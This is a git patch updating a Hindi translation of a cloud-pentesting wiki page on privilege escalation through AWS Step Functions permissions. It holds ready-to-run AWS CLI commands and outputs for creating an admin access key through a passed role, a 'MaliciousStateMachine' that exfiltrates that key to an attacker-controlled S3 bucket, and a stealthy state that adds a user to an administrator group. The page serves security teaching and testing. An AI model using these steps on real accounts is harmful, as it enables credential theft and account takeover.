From 8f21e506d77434bdf594ae8bc6a13478ab99569b Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 26 Jan 2026 01:11:24 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-stepfunctions-privesc/README.md | 56 +++++++++---------- 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md index b48e2d042..2861de884 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -10,26 +10,26 @@ For more information about this AWS service, check: ../../aws-services/aws-stepfunctions-enum.md {{#endref}} -### टास्क संसाधन +### Task Resources -इन privilege escalation तकनीकों के लिए कुछ AWS Step Functions resources का उपयोग करना आवश्यक होगा ताकि इच्छित privilege escalation कार्रवाइयाँ की जा सकें। +इन privilege escalation techniques को इच्छित privilege escalation actions करने के लिए कुछ AWS step function resources का उपयोग करना आवश्यक होगा। -सभी संभावित actions की जाँच करने के लिए, आप अपने AWS account में जाकर वह action चुन सकते हैं जिसे आप उपयोग करना चाहते हैं और उसके द्वारा उपयोग किए जा रहे parameters देख सकते हैं, जैसा कि: +सभी संभावित actions की जाँच करने के लिए, आप अपने AWS account में जाकर वह action चुन सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से parameters का उपयोग कर रहा है, जैसे कि:
-या आप API AWS documentation में जाकर प्रत्येक action के docs भी देख सकते हैं: +या आप API AWS documentation में जाकर प्रत्येक action की docs भी देख सकते हैं: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -यदि किसी हमलावर के पास **`states:TestState`** और **`iam:PassRole`** permissions हों, तो वह किसी भी state का परीक्षण कर सकता है और बिना किसी मौजूदा state machine को बनाने या अपडेट किए किसी भी IAM role को उसे पास कर सकता है। इससे रोल्स की permissions के साथ अन्य AWS services तक अनधिकृत पहुँच संभव हो सकती है। ये permissions मिलकर व्यापक अनधिकृत क्रियाओं का कारण बन सकती हैं — workflows में छेड़छाड़, डेटा में परिवर्तन, डेटा breaches, संसाधन हेरफेर और privilege escalation। +यदि किसी हमलावर के पास **`states:TestState`** और **`iam:PassRole`** permissions हों, तो वह किसी भी state को test कर सकता है और किसी भी IAM role को उसे पास कर सकता है, बिना किसी मौजूदा state machine को create या update किए हुए, जो संभावित रूप से roles की permissions के साथ अन्य AWS services तक unauthorized access की अनुमति दे सकता है। इन permissions के संयोजन से व्यापक unauthorized actions हो सकते हैं — जैसे workflows को manipulate करना, data बदलना, data breaches, resource manipulation, और privilege escalation। ```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +aws stepfunctions test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -निम्न उदाहरण दिखाते हैं कि कैसे उन permissions और AWS वातावरण की एक permissive role का उपयोग करके एक state का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक access key बनाता है। यह permissive role किसी भी high-privileged policy के साथ जुड़ा होना चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो state को **`iam:CreateAccessKey`** action करने की अनुमति देता हो: +निम्न उदाहरण दिखाते हैं कि कैसे एक state का परीक्षण करें जो इन अनुमतियों और AWS पर्यावरण की एक permissive role का उपयोग करके **`admin`** उपयोगकर्ता के लिए एक access key बनाती है। इस permissive role के साथ कोई भी उच्च-प्रिविलेज्ड नीति जुड़ी होनी चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो state को **`iam:CreateAccessKey`** क्रिया को निष्पादित करने की अनुमति दे: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ aws states test-state --definition --role-arn [--input ] "End": true } ``` -- **Command** privesc को अंजाम देने के लिए निष्पादित किया गया: +- **Command** privesc को निष्पादित करने हेतु चलाया गया: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**संभावित प्रभाव**: वर्कफ़्लो का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जिससे गंभीर सुरक्षा उल्लंघन हो सकते हैं। +**Potential Impact**: वर्कफ़्लो का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है। ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -एक हमलावर जिसके पास **`states:CreateStateMachine`** और **`iam:PassRole`** अनुमतियाँ हों, एक state machine बना सकता है और उसे किसी भी IAM role असाइन कर सकता है, जिससे उस role की permissions के साथ अन्य AWS सेवाओं तक अनधिकृत पहुँच संभव हो जाती है। पिछले privesc तकनीक (**`states:TestState`** और **`iam:PassRole`**) के विपरीत, यह स्वयं स्वतः निष्पादित नहीं होता — state machine की execution शुरू करने के लिए आपके पास **`states:StartExecution`** या **`states:StartSyncExecution`** अनुमतियाँ भी होनी चाहिए (**`states:StartSyncExecution`** मानक workflows के लिए उपलब्ध नहीं है, यह केवल express state machines के लिए है)। +एक attacker जिसके पास **`states:CreateStateMachine`** और **`iam:PassRole`** होंगे, वह एक स्टेट मशीन बना सकता है और उसमें किसी भी IAM role को असाइन कर सकता है, जिससे उस role की permissions के साथ अन्य AWS सेवाओं तक अनधिकृत पहुँच सक्षम हो जाती है। पिछले privesc technique (**`states:TestState`** & **`iam:PassRole`**) के विपरीत, यह स्वयं स्वयं निष्पादित नहीं होता; स्टेट मशीन पर execution शुरू करने के लिए आपके पास **`states:StartExecution`** या **`states:StartSyncExecution`** permissions भी होने चाहिए। (**`states:StartSyncExecution`** **standard workflows के लिए उपलब्ध नहीं है**, **यह केवल express state machines के लिए है**।) ```bash # Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +aws stepfunctions create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] # Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +aws stepfunctions start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] # Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +aws stepfunctions start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -निम्न उदाहरण दिखाते हैं कि कैसे एक state machine बनाई जाए जो **`admin`** उपयोगकर्ता के लिए एक access key बनाती है और इस access key को हमलावर-नियंत्रित S3 bucket में बाहर निकालती है, इन permissions और AWS environment की एक permissive role का लाभ उठाते हुए। इस permissive role के साथ कोई भी उच्च-प्रिविलेज्ड policy जुड़ी होनी चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो state machine को **`iam:CreateAccessKey`** और **`s3:putObject`** actions करने की अनुमति दे। +निम्न उदाहरण दिखाते हैं कि कैसे एक state machine बनाई जाए जो `admin` उपयोगकर्ता के लिए एक access key बनाती है और exfiltrates this access key to an attacker-controlled S3 bucket, इन permissions और AWS environment के एक permissive role का उपयोग करते हुए। यह permissive role किसी भी high-privileged policy के साथ जुड़ा होना चाहिए (उदाहरण के लिए `arn:aws:iam::aws:policy/AdministratorAccess`) जो state machine को `iam:CreateAccessKey` और `s3:putObject` actions करने की अनुमति देता हो। - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 @@ aws states start-sync-execution --state-machine-arn [--name ] [-- } } ``` -- **Command** जो **state machine** बनाने के लिए चलाया गया: +- **कमांड** को **state machine बनाने के लिए** निष्पादित किया गया: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **कमांड** जो पहले बनाए गए state machine की **execution शुरू करने** के लिए चलाया गया: +- **Command** पहले बनाए गए state machine का **execution शुरू करने** के लिए चलाया गया: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> हमलावर-नियंत्रित S3 bucket के पास पीड़ित खाते से s3:PutObject action स्वीकार करने की permissions होनी चाहिए। +> The attacker-controlled S3 bucket को victim account से s3:PutObject action स्वीकार करने की permissions होनी चाहिए। -**संभावित प्रभाव**: वर्कफ़्लोज़ का अनाधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों का कारण बन सकती है। +**Potential Impact**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है। -### `states:UpdateStateMachine` & (हमेशा आवश्यक नहीं) `iam:PassRole` +### `states:UpdateStateMachine` & (हर बार आवश्यक नहीं) `iam:PassRole` -जिसके पास **`states:UpdateStateMachine`** permission है, वह state machine की definition को संशोधित कर सकता है, और अतिरिक्त stealthy states जोड़ सकता है जो अंततः privilege escalation में समाप्त हो सकते हैं। इस तरह, जब कोई वैध उपयोगकर्ता state machine का execution शुरू करेगा, तो यह नया malicious stealth state निष्पादित होगा और privilege escalation सफल होगा। +जिस attacker के पास **`states:UpdateStateMachine`** permission होगा, वह state machine की definition को modify कर सकता है, और अतिरिक्त stealthy states जोड़ सकता है जो privilege escalation में समाप्त हो सकती हैं। इस तरह, जब कोई legitimate user state machine का execution शुरू करेगा, तो यह नया malicious stealth state execute होगा और privilege escalation सफल हो जाएगी। -state machine से जुड़ा IAM Role कितना permissive है, इस पर निर्भर करते हुए, हमलावर को 2 परिस्थितियों का सामना करना पड़ सकता है: +state machine से जुड़े IAM Role की permissiveness पर निर्भर करते हुए, attacker को दो स्थितियों का सामना करना पड़ेगा: -1. **Permissive IAM Role**: अगर state machine से जुड़ा IAM Role पहले से permissive है (उदाहरण के लिए उस पर **`arn:aws:iam::aws:policy/AdministratorAccess`** policy संलग्न है), तो privilege escalation के लिए **`iam:PassRole`** permission आवश्यक नहीं होगा क्योंकि IAM Role को भी अपडेट करने की जरूरत नहीं पड़ेगी — केवल state machine की definition पर्याप्त होगी। -2. **Not permissive IAM Role**: पिछले मामले के विपरीत, यहाँ हमलावर को **`iam:PassRole`** permission भी चाहिए होगा क्योंकि state machine की definition को बदलने के साथ-साथ एक permissive IAM Role को state machine से जोड़ना भी आवश्यक होगा। +1. **Permissive IAM Role**: यदि state machine से जुड़ा IAM Role पहले से permissive है (उदाहरण के लिए इसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** policy जुड़ा हुआ है), तो privileges escalate करने के लिए **`iam:PassRole`** permission की आवश्यकता नहीं होगी क्योंकि IAM Role को अपडेट करना आवश्यक नहीं होगा — केवल state machine की definition बदलना पर्याप्त होगा। +2. **Not permissive IAM Role**: पिछले मामले के विपरीत, यहाँ attacker को **`iam:PassRole`** permission भी चाहिए होगी क्योंकि state machine definition में बदलाव करने के अलावा एक permissive IAM Role को state machine से associate करना भी आवश्यक होगा। ```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +aws stepfunctions update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक वैध state machine जो केवल HelloWorld Lambda function को invoke करती है, उसे अपडेट करके एक अतिरिक्त state जोड़ा जाए जो user **`unprivilegedUser`** को **`administrator`** IAM Group में जोड़ दे। इस तरह, जब कोई वैध उपयोगकर्ता अपडेट की गई state machine का execution शुरू करेगा, तो यह नया malicious stealth state निष्पादित होगा और privilege escalation सफल हो जाएगा। > [!WARNING] -> यदि state machine के साथ कोई permissive IAM Role associated नहीं है, तो permissive IAM Role को associate करने के लिए IAM Role को update करने हेतु **`iam:PassRole`** permission भी आवश्यक होगा (उदाहरण के लिए ऐसा Role जिस पर **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached हो)। +> यदि state machine के साथ कोई permissive IAM Role संबंधित नहीं है, तो permissive IAM Role को associate करने के लिए IAM Role को अपडेट करते समय **`iam:PassRole`** permission भी आवश्यक होगा (उदाहरण के लिए ऐसा IAM Role जिस पर **`arn:aws:iam::aws:policy/AdministratorAccess`** policy संलग्न हो)। {{#tabs }} {{#tab name="Legit State Machine" }} @@ -218,7 +218,7 @@ The following examples show how to update a legit state machine that just invoke {{#endtab }} {{#endtabs }} -- **कमांड** जिसे **वैध state machine** को **अपडेट** करने के लिए निष्पादित किया गया: +- **Command** का उपयोग कर **legit state machine** को **update** किया गया: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**संभावित प्रभाव**: अनधिकृत रूप से वर्कफ़्लो का निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है। +**संभावित प्रभाव**: वर्कफ़्लो का अनधिकृत निष्पादन और हेरफेर तथा संवेदनशील संसाधनों तक अनधिकृत पहुँच, जो संभावित रूप से गंभीर सुरक्षा उल्लंघनों का कारण बन सकती है। {{#include ../../../../banners/hacktricks-training.md}}